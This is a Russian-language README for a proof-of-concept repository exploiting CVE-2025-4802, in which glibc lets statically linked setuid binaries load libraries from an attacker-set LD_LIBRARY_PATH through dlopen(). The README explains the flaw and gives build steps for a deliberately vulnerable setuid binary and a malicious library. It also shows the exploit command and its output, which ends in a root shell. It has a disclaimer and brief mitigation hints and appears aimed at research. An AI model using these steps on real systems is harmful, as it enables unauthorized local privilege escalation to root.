
Proof of Concept для статически скомпилированного setuid-бинарника, уязвимого к dlopen с LD_LIBRARY_PATH
⚠️ Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Не используйте этот эксплойт против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения. Неправомерное использование может нарушать законы и нормативные акты.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2025-4802 |
| Затронутое ПО | GNU C Library (glibc) |
| Затронутые версии | 2.27 – 2.38 |
| Тип уязвимости | Повышение привилегий через недоверенный LD_LIBRARY_PATH |
| Вектор атаки | Локальный |
Уязвимость в GNU C Library (glibc) версий с 2.27 по 2.38 позволяет злоумышленнику эксплуатировать переменную окружения LD_LIBRARY_PATH в статически скомпилированных setuid-бинарниках, которые вызывают dlopen().
Обычно динамический компоновщик очищает LD_LIBRARY_PATH для setuid-программ. Однако статически скомпилированные бинарники полностью обходят динамический компоновщик, поэтому LD_LIBRARY_PATH никогда не очищается. Когда такой бинарник вызывает dlopen() (напрямую или косвенно через setlocale() либо функции NSS, такие как getaddrinfo()), glibc разрешает разделяемые библиотеки, используя контролируемый злоумышленником LD_LIBRARY_PATH, что позволяет выполнить произвольный код с повышенными привилегиями.
dlopen("myso.so", ...) для загрузки разделяемого объекта по имени (а не по абсолютному пути).ld-linux.so) никогда не запускается, поэтому LD_LIBRARY_PATH не очищается.myso.so), который экспортирует тот же символ hello(), но порождает root-оболочку.LD_LIBRARY_PATH так, чтобы он указывал на каталог, содержащий вредоносную библиотеку..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
Или вручную:
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Ожидаемый вывод:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (вредоносное поведение)LD_LIBRARY_PATH=./evil_library ./main
Ожидаемый вывод:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Бинарник загружает myso.so злоумышленника из evil_library/ вместо легитимного, порождая root-оболочку.

Также доступен видеообзор: proof_of_concept_video.mp4
dlopen()dlopen() вместо простых имён библиотекdlopen()